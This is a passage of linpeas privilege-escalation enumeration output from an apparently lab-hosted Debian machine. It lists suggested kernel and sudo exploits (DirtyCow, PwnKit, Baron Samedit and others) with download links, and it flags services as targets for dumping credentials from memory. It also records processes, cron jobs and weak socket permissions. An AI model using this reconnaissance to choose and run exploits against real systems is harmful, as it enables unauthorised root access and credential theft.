   Download URL: https://www.exploit-db.com/download/40611
   Comments: For RHEL/CentOS see exact vulnerable versions here: https://access.redhat.com/sites/default/files/rh-cve-2016-5195_5.sh

[+] [CVE-2016-5195] dirtycow 2

   Details: https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails
   Exposure: highly probable
   Tags: [ debian=7|8 ],RHEL=5|6|7,ubuntu=14.04|12.04,ubuntu=10.04{kernel:2.6.32-21-generic},ubuntu=16.04{kernel:4.4.0-21-generic}
   Download URL: https://www.exploit-db.com/download/40839
   ext-url: https://www.exploit-db.com/download/40847
   Comments: For RHEL/CentOS see exact vulnerable versions here: https://access.redhat.com/sites/default/files/rh-cve-2016-5195_5.sh

[+] [CVE-2021-4034] PwnKit

   Details: https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt
   Exposure: probable
   Tags: ubuntu=10|11|12|13|14|15|16|17|18|19|20|21,[ debian=7|8|9|10|11 ],fedora,manjaro
   Download URL: https://codeload.github.com/berdav/CVE-2021-4034/zip/main

[+] [CVE-2021-3156] sudo Baron Samedit

   Details: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt
   Exposure: less probable
   Tags: mint=19,ubuntu=18|20, debian=10
   Download URL: https://codeload.github.com/blasty/CVE-2021-3156/zip/main

[+] [CVE-2021-3156] sudo Baron Samedit 2

   Details: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt
   Exposure: less probable
   Tags: centos=6|7|8,ubuntu=14|16|17|18|19|20, debian=9|10
   Download URL: https://codeload.github.com/worawit/CVE-2021-3156/zip/main

[+] [CVE-2021-22555] Netfilter heap out-of-bounds write

   Details: https://google.github.io/security-research/pocs/linux/cve-2021-22555/writeup.html
   Exposure: less probable
   Tags: ubuntu=20.04{kernel:5.8.0-*}
   Download URL: https://raw.githubusercontent.com/google/security-research/master/pocs/linux/cve-2021-22555/exploit.c
   ext-url: https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2021-22555/exploit.c
   Comments: ip_tables kernel module must be loaded

[+] [CVE-2019-18634] sudo pwfeedback

   Details: https://dylankatz.com/Analysis-of-CVE-2019-18634/
   Exposure: less probable
   Tags: mint=19
   Download URL: https://github.com/saleemrashid/sudo-cve-2019-18634/raw/master/exploit.c
   Comments: sudo configuration requires pwfeedback to be enabled.

[+] [CVE-2017-6074] dccp

   Details: http://www.openwall.com/lists/oss-security/2017/02/22/3
   Exposure: less probable
   Tags: ubuntu=(14.04|16.04){kernel:4.4.0-62-generic}
   Download URL: https://www.exploit-db.com/download/41458
   Comments: Requires Kernel be built with CONFIG_IP_DCCP enabled. Includes partial SMEP/SMAP bypass

[+] [CVE-2017-1000366,CVE-2017-1000379] linux_ldso_hwcap_64

   Details: https://www.qualys.com/2017/06/19/stack-clash/stack-clash.txt
   Exposure: less probable
   Tags: debian=7.7|8.5|9.0,ubuntu=14.04.2|16.04.2|17.04,fedora=22|25,centos=7.3.1611
   Download URL: https://www.qualys.com/2017/06/19/stack-clash/linux_ldso_hwcap_64.c
   Comments: Uses &amp;quot;Stack Clash&amp;quot; technique, works against most SUID-root binaries

[+] [CVE-2017-1000253] PIE_stack_corruption

   Details: https://www.qualys.com/2017/09/26/linux-pie-cve-2017-1000253/cve-2017-1000253.txt
   Exposure: less probable
   Tags: RHEL=6,RHEL=7{kernel:3.10.0-514.21.2|3.10.0-514.26.1}
   Download URL: https://www.qualys.com/2017/09/26/linux-pie-cve-2017-1000253/cve-2017-1000253.c

[+] [CVE-2017-0358] ntfs-3g-modprobe

   Details: https://bugs.chromium.org/p/project-zero/issues/detail?id=1072
   Exposure: less probable
   Tags: ubuntu=16.04{ntfs-3g:2015.3.14AR.1-1build1},debian=7.0{ntfs-3g:2012.1.15AR.5-2.1+deb7u2},debian=8.0{ntfs-3g:2014.2.15AR.2-1+deb8u2}
   Download URL: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41356.zip
   Comments: Distros use own versioning scheme. Manual verification needed. Linux headers must be installed. System must have at least two CPU cores.

[+] [CVE-2016-2384] usb-midi

   Details: https://xairy.github.io/blog/2016/cve-2016-2384
   Exposure: less probable
   Tags: ubuntu=14.04,fedora=22
   Download URL: https://raw.githubusercontent.com/xairy/kernel-exploits/master/CVE-2016-2384/poc.c
   Comments: Requires ability to plug in a malicious USB device and to execute a malicious binary as a non-privileged user

[+] [CVE-2015-9322] BadIRET

   Details: http://labs.bromium.com/2015/02/02/exploiting-badiret-vulnerability-cve-2014-9322-linux-kernel-privilege-escalation/
   Exposure: less probable
   Tags: RHEL&amp;lt;=7,fedora=20
   Download URL: http://site.pi3.com.pl/exp/p_cve-2014-9322.tar.gz

[+] [CVE-2015-8660] overlayfs (ovl_setattr)

   Details: http://www.halfdog.net/Security/2015/UserNamespaceOverlayfsSetuidWriteExec/
   Exposure: less probable
   Tags: ubuntu=(14.04|15.10){kernel:4.2.0-(18|19|20|21|22)-generic}
   Download URL: https://www.exploit-db.com/download/39166

[+] [CVE-2015-8660] overlayfs (ovl_setattr)

   Details: http://www.halfdog.net/Security/2015/UserNamespaceOverlayfsSetuidWriteExec/
   Exposure: less probable
   Download URL: https://www.exploit-db.com/download/39230

[+] [CVE-2015-3290] espfix64_NMI

   Details: http://www.openwall.com/lists/oss-security/2015/08/04/8
   Exposure: less probable
   Download URL: https://www.exploit-db.com/download/37722

[+] [CVE-2015-1328] overlayfs

   Details: http://seclists.org/oss-sec/2015/q2/717
   Exposure: less probable
   Tags: ubuntu=(12.04|14.04){kernel:3.13.0-(2|3|4|5)*-generic},ubuntu=(14.10|15.04){kernel:3.(13|16).0-*-generic}
   Download URL: https://www.exploit-db.com/download/37292

[+] [CVE-2014-5207] fuse_suid

   Details: https://www.exploit-db.com/exploits/34923/
   Exposure: less probable
   Download URL: https://www.exploit-db.com/download/34923

[+] [CVE-2016-0728] keyring

   Details: http://perception-point.io/2016/01/14/analysis-and-exploitation-of-a-linux-kernel-vulnerability-cve-2016-0728/
   Exposure: less probable
   Download URL: https://www.exploit-db.com/download/40003
   Comments: Exploit takes about ~30 minutes to run. Exploit is not reliable, see: https://cyseclabs.com/blog/cve-2016-0728-poc-not-working


╔══════════╣ Protections
═╣ AppArmor enabled? .............. /etc/apparmor.d                            
═╣ AppArmor profile? .............. unconfined
═╣ is linuxONE? ................... s390x Not Found
═╣ grsecurity present? ............ grsecurity Not Found                       
═╣ PaX bins present? .............. PaX Not Found                              
═╣ Execshield enabled? ............ Execshield Not Found                       
═╣ SELinux enabled? ............... sestatus Not Found                         
═╣ Seccomp enabled? ............... disabled                                   
═╣ User namespace? ................ enabled
═╣ Cgroup2 enabled? ............... disabled
═╣ Is ASLR enabled? ............... Yes
═╣ Printer? ....................... No
═╣ Is this a virtual machine? ..... Yes (vmware)                               

╔══════════╣ Kernel Modules Information
══╣ Kernel modules with weak perms?                                            
                                                                               
══╣ Kernel modules loadable? 
Modules can be loaded                                                          



                                   ╔═══════════╗
═══════════════════════════════════╣ Container ╠═══════════════════════════════════                                                                           
                                   ╚═══════════╝                               
╔══════════╣ Container related tools present (if any):
/usr/bin/nsenter                                                               
/usr/bin/unshare
/usr/sbin/chroot
/sbin/capsh
/sbin/setcap
/sbin/getcap

╔══════════╣ Container details
═╣ Is this a container? ........... No                                         
═╣ Any running containers? ........ No                                         
                                                                               


                                     ╔═══════╗
═════════════════════════════════════╣ Cloud ╠═════════════════════════════════════                                                                           
                                     ╚═══════╝                                 
./linpeas.sh: 1485: ./linpeas.sh: curl: Permission denied
Learn and practice cloud hacking techniques in https://training.hacktricks.xyz
                                                                               
═╣ GCP Virtual Machine? ................. No
═╣ GCP Cloud Funtion? ................... No
═╣ AWS ECS? ............................. No
═╣ AWS EC2? ............................. No
═╣ AWS EC2 Beanstalk? ................... No
═╣ AWS Lambda? .......................... No
═╣ AWS Codebuild? ....................... No
═╣ DO Droplet? .......................... No
═╣ IBM Cloud VM? ........................ No
═╣ Azure VM or Az metadata? ............. No
═╣ Azure APP or IDENTITY_ENDPOINT? ...... No
═╣ Azure Automation Account? ............ No
═╣ Aliyun ECS? .......................... No
═╣ Tencent CVM? ......................... No



                ╔════════════════════════════════════════════════╗
════════════════╣ Processes, Crons, Timers, Services and Sockets ╠════════════════                                                                            
                ╚════════════════════════════════════════════════╝             
╔══════════╣ Running processes (cleaned)
╚ Check weird &amp;amp; unexpected processes run by root: https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#processes                   
root         1  0.0  0.1 176136  5016 ?        Ss   02:28   0:00 /sbin/init    
root       262  0.0  0.1  42412  4740 ?        Ss   02:28   0:00 /lib/systemd/systemd-udevd
root       271  0.0  0.1  33076  4280 ?        Ss   02:28   0:00 /lib/systemd/systemd-journald
root       595  0.0  0.0  37084  2660 ?        Ss   02:28   0:00 /sbin/rpcbind -w
statd      615  0.0  0.0  37284  3012 ?        Ss   02:28   0:00 /sbin/rpc.statd
  └─(Caps) 0x0000000000000400=cap_net_bind_service
root       629  0.0  0.0  23360   204 ?        Ss   02:28   0:00 /usr/sbin/rpc.idmapd
root       631  0.0  0.1 275944  6080 ?        Ssl  02:28   0:00 /usr/lib/accountsservice/accounts-daemon[0m
root       632  0.0  0.0 258676  3564 ?        Ssl  02:28   0:00 /usr/sbin/rsyslogd -n
root       634  0.0  0.1 336296  8008 ?        Ssl  02:28   0:00 /usr/sbin/ModemManager
daemon[0m     637  0.0  0.0  19028  1796 ?        Ss   02:28   0:00 /usr/sbin/atd -f
root       639  0.0  0.3 356804 12836 ?        Ssl  02:28   0:00 /usr/sbin/NetworkManager --no-daemon[0m
root       796  0.0  0.2  25404 10216 ?        S    02:28   0:00  _ /sbin/dhclient -d -q -sf /usr/lib/NetworkManager/nm-dhcp-helper -pf /var/run/dhclient-eth0.pid -lf /var/lib/NetworkManager/dhclient-923ea489-1a1f-47ae-92d4-7bdedeba3141-eth0.lease -cf /var/lib/NetworkManager/dhclient-eth0.conf eth0
root       640  0.0  0.1 174016  7400 ?        Ssl  02:28   0:00 /usr/bin/vmtoolsd                                                                            
avahi      650  0.0  0.0  32104   256 ?        S    02:28   0:00  _ avahi-daemon: chroot helper                                                               
root       645  0.0  0.0  27508  2764 ?        Ss   02:28   0:00 /usr/sbin/cron -f
message+   647  0.0  0.1  42972  4080 ?        Ss   02:28   0:00 /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation   
  └─(Caps) 0x0000000020000000=cap_audit_write
root       658  0.0  0.0  28336  2920 ?        Ss   02:28   0:00 /lib/systemd/systemd-logind
root       665  0.0  0.1  86148  6444 ?        Ss   02:28   0:00 /usr/sbin/cupsd -f
root       667  0.0  0.1  71744  5064 ?        Ss   02:28   0:00 /usr/sbin/cups-browsed
root       669  0.0  0.0   4260  1652 ?        Ss   02:28   0:00 /usr/sbin/acpid
root       673  0.0  0.0  25652  2404 ?        Ss   02:28   0:00 /usr/sbin/vsftpd /etc/vsftpd.conf                                                            
root       674  0.0  0.1  55184  5328 ?        Ss   02:28   0:00 /usr/sbin/sshd -D
asta      1359  0.0  0.0  96956  4024 ?        S    02:50   0:00      _ sshd: asta@pts/0    
asta      1360  0.0  0.1  23568  5620 pts/0    Ss   02:50   0:00          _ -bash
asta      1403  0.2  0.0   5228  2492 pts/0    S+   02:54   0:00              _ /bin/sh ./linpeas.sh
asta      5470  0.0  0.0   5228  1028 pts/0    S+   02:55   0:00                  _ /bin/sh ./linpeas.sh
asta      5472  0.0  0.0  19268  2660 pts/0    R+   02:55   0:00                  |   _ ps fauxwww
asta      5474  0.0  0.0   5228  1028 pts/0    S+   02:55   0:00                  _ /bin/sh ./linpeas.sh
root       683  0.0  0.0  14420  2096 tty1     Ss+  02:28   0:00 /sbin/agetty --noclear tty1 linux
root       706  0.0  0.0  19392  2096 ?        Ss   02:28   0:00 /usr/sbin/irqbalance --pid=/var/run/irqbalance.pid
root       708  0.0  0.0   4240   104 ?        Ss   02:28   0:00 /usr/sbin/minissdpd -i 0.0.0.0
root       714  0.0  0.1 365972  7304 ?        Ssl  02:28   0:00 /usr/sbin/gdm3
root       752  0.0  0.6 222488 25280 tty7     Ss+  02:28   0:00  _ /usr/bin/Xorg :0 -novtswitch -background none -noreset -verbose 3 -auth /var/run/gdm3/auth-for-Debian-gdm-OY9OxL/database -seat seat0 -nolisten tcp vt7
Debian-+   927  0.0  0.2 528824 10832 ?        Ssl  02:28   0:00      _ /usr/bin/gnome-session --autostart /usr/share/gdm/greeter/autostart
Debian-+  1028  0.0  0.6 878252 27232 ?        Sl   02:28   0:00          _ /usr/lib/gnome-settings-daemon/gnome-settings-daemon
Debian-+  1245  0.1  2.6 1396848 106560 ?      Sl   02:28   0:01          _ gnome-shell --mode=gdm
root       721  0.0  0.1 280100  7464 ?        Ssl  02:28   0:00 /usr/lib/policykit-1/polkitd --no-debug
mysql      778  0.4  4.6 1185356 188032 ?      Sl   02:28   0:06 /usr/sbin/mysqld --daemonize --pid-file=/var/run/mysqld/mysqld.pid
root       797  0.0  0.6 289816 24900 ?        Ss   02:28   0:00 /usr/sbin/apache2 -k start                                                                   
www-data   803  0.0  0.3 290012 13060 ?        S    02:28   0:01  _ /usr/sbin/apache2 -k start                                                                
www-data   804  0.0  0.3 290168 13932 ?        S    02:28   0:01  _ /usr/sbin/apache2 -k start                                                                
www-data   805  0.0  0.3 290168 13924 ?        S    02:28   0:01  _ /usr/sbin/apache2 -k start                                                                
www-data   806  0.0  0.3 290168 13924 ?        S    02:28   0:01  _ /usr/sbin/apache2 -k start                                                                
www-data   807  0.0  0.3 290248 14736 ?        S    02:28   0:01  _ /usr/sbin/apache2 -k start                                                                
www-data  1300  0.0  0.3 290020 13060 ?        S    02:30   0:01  _ /usr/sbin/apache2 -k start                                                                
Debian-+   924  0.0  0.0  35660  3916 ?        Ss   02:28   0:00 /lib/systemd/systemd --user
Debian-+   925  0.0  0.0  52048  2000 ?        S    02:28   0:00  _ (sd-pam)  
Debian-+   930  0.0  0.0  24376  1808 ?        S    02:28   0:00 /usr/bin/dbus-launch --exit-with-session /usr/bin/gnome-session --autostart /usr/share/gdm/greeter/autostart
Debian-+   935  0.0  0.0  42340  2664 ?        Ss   02:28   0:00 /usr/bin/dbus-daemon --fork --print-pid 5 --print-address 7 --session                        
Debian-+   938  0.0  0.1 337712  5488 ?        Sl   02:28   0:00 /usr/lib/at-spi2-core/at-spi-bus-launcher
Debian-+   942  0.0  0.0  42128  3268 ?        S    02:28   0:00  _ /usr/bin/dbus-daemon --config-file=/etc/at-spi2/accessibility.conf --nofork --print-address 3
Debian-+   945  0.0  0.1 125232  5228 ?        Sl   02:28   0:00 /usr/lib/at-spi2-core/at-spi2-registryd --use-gnome-session
root      1215  0.0  0.2 238520  8376 ?        Ssl  02:28   0:00 /usr/lib/upower/upowerd
Debian-+  1235  0.0  0.0  53276  3356 ?        Ss   02:28   0:00 /usr/sbin/exim4 -bd -q30m
colord    1241  0.0  0.2 306936 12140 ?        Ssl  02:28   0:00 /usr/lib/colord/colord
Debian-+  1253  0.0  0.1 283336  6664 ?        S&amp;lt;l  02:28   0:00 /usr/bin/pulseaudio --start --log-target=syslog
rtkit     1254  0.0  0.0 168784  2488 ?        SNsl 02:28   0:00 /usr/lib/rtkit/rtkit-daemon
  └─(Caps) 0x0000000000880004=cap_dac_read_search,cap_sys_ptrace,cap_sys_nice
Debian-+  1270  0.0  0.1 178324  4492 ?        Sl   02:28   0:00 /usr/lib/dconf/dconf-service
root      1285  0.0  0.1  30780  4488 ?        Ss   02:28   0:00 /sbin/wpa_supplicant -u -s -O /run/wpa_supplicant
root      1286  0.0  0.2 307596 10484 ?        Ssl  02:28   0:00 /usr/lib/packagekit/packagekitd
asta      1356  0.0  0.0  35660  3892 ?        Ss   02:50   0:00 /lib/systemd/systemd --user
asta      1357  0.0  0.0 199512  2056 ?        S    02:50   0:00  _ (sd-pam)  

╔══════════╣ Processes with unusual configurations
                                                                               
╔══════════╣ Processes with credentials in memory (root req)
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#credentials-from-process-memory                                             
gdm-password Not Found                                                         
gnome-keyring-daemon Not Found                                                 
lightdm Not Found                                                              
vsftpd process found (dump creds from memory as root)                          
apache2 process found (dump creds from memory as root)
sshd: process found (dump creds from memory as root)
mysql process found (dump creds from memory as root)
postgres Not Found
redis-server Not Found                                                         
mongod Not Found                                                               
memcached Not Found                                                            
elasticsearch Not Found                                                        
jenkins Not Found                                                              
tomcat Not Found                                                               
nginx Not Found                                                                
php-fpm Not Found                                                              
supervisord Not Found                                                          
vncserver Not Found                                                            
xrdp Not Found                                                                 
teamviewer Not Found                                                           
                                                                               
╔══════════╣ Opened Files by processes
Process 1356 (asta) - /lib/systemd/systemd --user                              
  └─ Has open files:
    └─ /proc/swaps
    └─ /sys/fs/cgroup/systemd/user.slice/user-1000.slice/user@1000.service
    └─ /proc/1356/mountinfo
Process 1360 (asta) - -bash 
  └─ Has open files:
    └─ /dev/pts/0

╔══════════╣ Processes with memory-mapped credential files
                                                                               
╔══════════╣ Processes whose PPID belongs to a different user (not root)
╚ You will know if a user can somehow spawn processes as a different user      
                                                                               
╔══════════╣ Files opened by processes belonging to other users
╚ This is usually empty because of the lack of privileges to read other user processes information                                                            
                                                                               
╔══════════╣ Check for vulnerable cron jobs
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#scheduledcron-jobs                                                          
══╣ Cron jobs list                                                             
/usr/bin/crontab                                                               
incrontab Not Found
-rw-r--r-- 1 root root     722 Jun 11  2015 /etc/crontab                       

/etc/cron.d:
total 28
drwxr-xr-x   2 root root  4096 Mar 17  2021 .
drwxr-xr-x 141 root root 12288 Dec 14 02:28 ..
-rw-r--r--   1 root root   244 Dec 28  2014 anacron
-rw-r--r--   1 root root   661 Jun 28  2020 php5
-rw-r--r--   1 root root   102 Jun 11  2015 .placeholder

/etc/cron.daily:
total 84
drwxr-xr-x   2 root root  4096 Mar 17  2021 .
drwxr-xr-x 141 root root 12288 Dec 14 02:28 ..
-rwxr-xr-x   1 root root   311 Dec 28  2014 0anacron
-rwxr-xr-x   1 root root   625 Sep 30  2019 apache2
-rwxr-xr-x   1 root root 15000 Dec 11  2016 apt
-rwxr-xr-x   1 root root   314 Nov  8  2014 aptitude
-rwxr-xr-x   1 root root   355 Oct 17  2014 bsdmainutils
-rwxr-xr-x   1 root root   384 May 24  2020 cracklib-runtime
-rwxr-xr-x   1 root root  1597 May  2  2016 dpkg
-rwxr-xr-x   1 root root  4125 May 16  2020 exim4-base
-rwxr-xr-x   1 root root    89 Nov  8  2014 logrotate
-rwxr-xr-x   1 root root  1293 Dec 31  2014 man-db
-rwxr-xr-x   1 root root   435 Jun 13  2013 mlocate
-rwxr-xr-x   1 root root   249 May 17  2017 passwd
-rw-r--r--   1 root root   102 Jun 11  2015 .placeholder

/etc/cron.hourly:
total 20
drwxr-xr-x   2 root root  4096 Mar 17  2021 .
drwxr-xr-x 141 root root 12288 Dec 14 02:28 ..
-rw-r--r--   1 root root   102 Jun 11  2015 .placeholder

/etc/cron.monthly:
total 24
drwxr-xr-x   2 root root  4096 Mar 17  2021 .
drwxr-xr-x 141 root root 12288 Dec 14 02:28 ..
-rwxr-xr-x   1 root root   313 Dec 28  2014 0anacron
-rw-r--r--   1 root root   102 Jun 11  2015 .placeholder

/etc/cron.weekly:
total 28
drwxr-xr-x   2 root root  4096 Mar 17  2021 .
drwxr-xr-x 141 root root 12288 Dec 14 02:28 ..
-rwxr-xr-x   1 root root   312 Dec 28  2014 0anacron
-rwxr-xr-x   1 root root   771 Dec 31  2014 man-db
-rw-r--r--   1 root root   102 Jun 11  2015 .placeholder

/var/spool/anacron:
total 20
drwxr-xr-x 2 root root 4096 Mar 17  2021 .
drwxr-xr-x 8 root root 4096 Mar 17  2021 ..
-rw------- 1 root root    9 Dec 14 01:02 cron.daily
-rw------- 1 root root    9 Dec 14 02:43 cron.monthly
-rw------- 1 root root    9 Dec 14 01:28 cron.weekly

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

17 *    * * *   root    cd / &amp;amp;&amp;amp; run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / &amp;amp;&amp;amp; run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / &amp;amp;&amp;amp; run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / &amp;amp;&amp;amp; run-parts --report /etc/cron.monthly )


SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
HOME=/root
LOGNAME=root

1       5       cron.daily      run-parts --report /etc/cron.daily
7       10      cron.weekly     run-parts --report /etc/cron.weekly
@monthly        15      cron.monthly    run-parts --report /etc/cron.monthly

══╣ Checking for specific cron jobs vulnerabilities
Checking cron directories...                                                   

╔══════════╣ System timers
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#timers                                                                      
══╣ Active timers:                                                             
NEXT                         LEFT     LAST                         PASSED    UNIT                         ACTIVATES
Mon 2025-12-15 02:43:26 EST  23h left Sun 2025-12-14 02:43:26 EST  11min ago systemd-tmpfiles-clean.timer systemd-tmpfiles-clean.service                      
n/a                          n/a      n/a                          n/a       systemd-readahead-done.timer systemd-readahead-done.service                      
══╣ Disabled timers:
══╣ Additional timer files:                                                    
                                                                               
╔══════════╣ Services and Service Files
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#services                                                                    
                                                                               
══╣ Active services:
accounts-daemon.service            loaded active running Accounts Service      
acpid.service                      loaded active running ACPI event daemon
apache2.service                    loaded active running LSB: Apache2 web server
./linpeas.sh: 3944: local: /etc/init: bad variable name
 Not Found
                                                                               
══╣ Disabled services:
accounts-daemon.service                    enabled                             
acpid.service                              disabled
alsa-restore.service                       static  
./linpeas.sh: 3944: local: -E: bad variable name
 Not Found
                                                                               
══╣ Additional service files:
./linpeas.sh: 3944: local: /usr/sbin/avahi-daemon: bad variable name           
You can&amp;#39;t write on systemd PATH

╔══════════╣ Systemd Information
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#systemd-path---relative-paths                                               
═╣ Systemd version and vulnerabilities? .............. ═╣ Services running as root? .....                                                                     
═╣ Running services with dangerous capabilities? ... 
═╣ Services with writable paths? . acpid.service: Uses relative path &amp;#39;$OPTIONS&amp;#39; (from ExecStart=/usr/sbin/acpid $OPTIONS)                                     
mysql.service: Uses relative path &amp;#39;pre&amp;#39; (from ExecStartPre=/usr/share/mysql/mysql-systemd-start pre)                                                          
rsyslog.service: Uses relative path &amp;#39;-n&amp;#39; (from ExecStart=/usr/sbin/rsyslogd -n)

╔══════════╣ Systemd PATH
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#systemd-path---relative-paths                                               
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin              

╔══════════╣ Analyzing .socket files
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#sockets                                                                     
./linpeas.sh: 4207: local: /run/systemd/journal/socket: bad variable name      

╔══════════╣ Unix Sockets Analysis
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#sockets                                                                     
/run/acpid.socket                                                              
  └─(Read Write (Weak Permissions: 666) )
  └─(Owned by root)
/run/avahi-daemon/socket
  └─(Read Write (Weak Permissions: 666) )
  └─(Owned by root)
/run/cups/cups.sock
  └─(Read Write (Weak Permissions: 666) )
  └─(Owned by root)
/run/dbus/system_bus_socket
  └─(Read Write (Weak Permissions: 666) )
  └─(Owned by root)
/run/minissdpd.sock
  └─(Read Write (Weak Permissions: 666) )
  └─(Owned by root)
/run/mysqld/mysqld.sock
  └─(Read Write Execute (Weak Permissions: 777) )
/run/NetworkManager/private
  └─(Read Write Execute (Weak Permissions: 777) )
  └─(Owned by root)
/run/NetworkManager/private-dhcp
  └─(Read Write Execute (Weak Permissions: 777) )
  └─(Owned by root)
/run/rpcbind.sock
  └─(Read Write (Weak Permissions: 666) )
  └─(Owned by root)
/run/systemd/journal/dev-log
  └─(Read Write (Weak Permissions: 666) )
  └─(Owned by root)
/run/systemd/journal/socket
  └─(Read Write (Weak Permissions: 666) )
  └─(Owned by root)
/run/systemd/journal/stdout
  └─(Read Write (Weak Permissions: 666) )
  └─(Owned by root)
/run/systemd/journal/syslog
  └─(Read Write (Weak Permissions: 666) )
  └─(Owned by root)
/run/systemd/notify
  └─(Read Write Execute (Weak Permissions: 777) )
  └─(Owned by root)
/run/systemd/private
  └─(Read Write Execute (Weak Permissions: 777) )
  └─(Owned by root)
/run/systemd/shutdownd
/run/udev/control
/run/user/1000/systemd/notify
  └─(Read Write Execute )
/run/user/1000/systemd/private
  └─(Read Write Execute )
/tmp/.ICE-unix/927
  └─(Read Write Execute (Weak Permissions: 777) )
/tmp/.X11-unix/X0
  └─(Read Write Execute (Weak Permissions: 777) )
  └─(Owned by root)
/var/run/avahi-daemon/socket
  └─(Read Write (Weak Permissions: 666) )
  └─(Owned by root)
/var/run/cups/cups.sock
  └─(Read Write (Weak Permissions: 666) )
  └─(Owned by root)
/var/run/dbus/system_bus_socket
  └─(Read Write (Weak Permissions: 666) )
  └─(Owned by root)
/var/run/minissdpd.sock
  └─(Read Write (Weak Permissions: 666) )
  └─(Owned by root)
/var/run/mysqld/mysqld.sock
  └─(Read Write Execute (Weak Permissions: 777) )
/var/run/NetworkManager/private
  └─(Read Write Execute (Weak Permissions: 777) )
  └─(Owned by root)
/var/run/NetworkManager/private-dhcp
  └─(Read Write Execute (Weak Permissions: 777) )
  └─(Owned by root)

╔══════════╣ D-Bus Analysis
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#d-bus                                                                       
NAME                                       PID PROCESS         USER             CONNECTION    UNIT                      SESSION    CONNECTION-NAME    
:1.0                                         1 systemd         root             :1.0          -                         -          -                  
:1.1                                       641 avahi-daemon    avahi            :1.1          avahi-daemon.service      -          -                  
:1.11                                      667 cups-browsed    root             :1.11         cups-browsed.service      -          -                  
:1.112                                   18010 busctl          asta             :1.112        session-2.scope           2          -                  
:1.12                                      912 gdm-session-wor root             :1.12         session-c1.scope          c1         -                  
:1.13                                      912 gdm-session-wor root             :1.13         session-c1.scope          c1         -                  
:1.14                                      927 gnome-session   Debian-gdm       :1.14         session-c1.scope          c1         -                  
:1.15                                     1028 gnome-settings- Debian-gdm       :1.15         session-c1.scope          c1         -                  
:1.16                                     1215 upowerd         root             :1.16         upower.service            -          -                  
:1.17                                     1215 upowerd         root             :1.17         upower.service            -          -                  
:1.18                                     1241 colord          colord           :1.18         colord.service            -          -                  
:1.19                                     1253 pulseaudio      Debian-gdm       :1.19         session-c1.scope          c1         -                  
:1.2                                       631 accounts-daemon[0m root             :1.2          accounts-daemon.service   -          -                  
:1.20                                     1245 gnome-shell     Debian-gdm       :1.20         session-c1.scope          c1         -                  
:1.21                                     1254 rtkit-daemon    root             :1.21         rtkit-daemon.service      -          -                  
:1.24                                     1245 gnome-shell     Debian-gdm       :1.24         session-c1.scope          c1         -                  
:1.27                                     1285 wpa_supplicant  root             :1.27         wpa_supplicant.service    -          -                  
:1.28                                     1286 packagekitd     root             :1.28         packagekit.service        -          -                  
:1.3                                       634 ModemManager    root             :1.3          ModemManager.service      -          -                  
:1.31                                     1354 sshd            root             :1.31         session-2.scope           2          -                  
:1.4                                       658 systemd-logind  root             :1.4          systemd-logind.service    -          -                  
:1.5                                       721 polkitd         root             :1.5          polkitd.service           -          -                  
:1.6                                       665 cupsd           root             :1.6          cups.service              -          -                  
:1.7                                       714 gdm3            root             :1.7          gdm.service               -          -                  
:1.8                                       639 NetworkManager  root             :1.8          NetworkManager.service    -          -                  
:1.9                                       639 NetworkManager  root             :1.9          NetworkManager.service    -          -                  
com.hp.hplip                                 - -               -                (activatable) -                         -         
fi.epitest.hostap.WPASupplicant           1285 wpa_supplicant  root             :1.27         wpa_supplicant.service    -          -                  
fi.w1.wpa_supplicant1                     1285 wpa_supplicant  root             :1.27         wpa_supplicant.service    -          -                  
org.bluez                                    - -               -                (activatable) -                         -         
org.freedesktop.Accounts                   631 accounts-daemon[0m root             :1.2          accounts-daemon.service   -          -                  
org.freedesktop.Avahi                      641 avahi-daemon    avahi            :1.1          avahi-daemon.service      -          -                  
org.freedesktop.ColorManager              1241 colord          colord           :1.18         colord.service            -          -                  
org.freedesktop.DBus                         - -               -                -             -                         -          -                  
org.freedesktop.GeoClue2                     - -               -                (activatable) -                         -         
org.freedesktop.ModemManager1              634 ModemManager    root             :1.3          ModemManager.service      -          -                  
org.freedesktop.NetworkManager             639 NetworkManager  root             :1.8          NetworkManager.service    -          -                  
org.freedesktop.PackageKit                1286 packagekitd     root             :1.28         packagekit.service        -          -                  
org.freedesktop.PolicyKit1                 721 polkitd         root             :1.5          polkitd.service           -          -                  
org.freedesktop.RealtimeKit1              1254 rtkit-daemon    root             :1.21         rtkit-daemon.service      -          -                  
org.freedesktop.UDisks2                      - -               -                (activatable) -                         -         
org.freedesktop.UPower                    1215 upowerd         root             :1.16         upower.service            -          -                  
org.freedesktop.hostname1                    - -               -                (activatable) -                         -         
org.freedesktop.locale1                      - -               -                (activatable) -                         -         
org.freedesktop.login1                     658 systemd-logind  root             :1.4          systemd-logind.service    -          -                  
org.freedesktop.machine1                     - -               -                (activatable) -                         -         
org.freedesktop.nm_dispatcher                - -               -                (activatable) -                         -         
org.freedesktop.realmd                       - -               -                (activatable) -                         -         
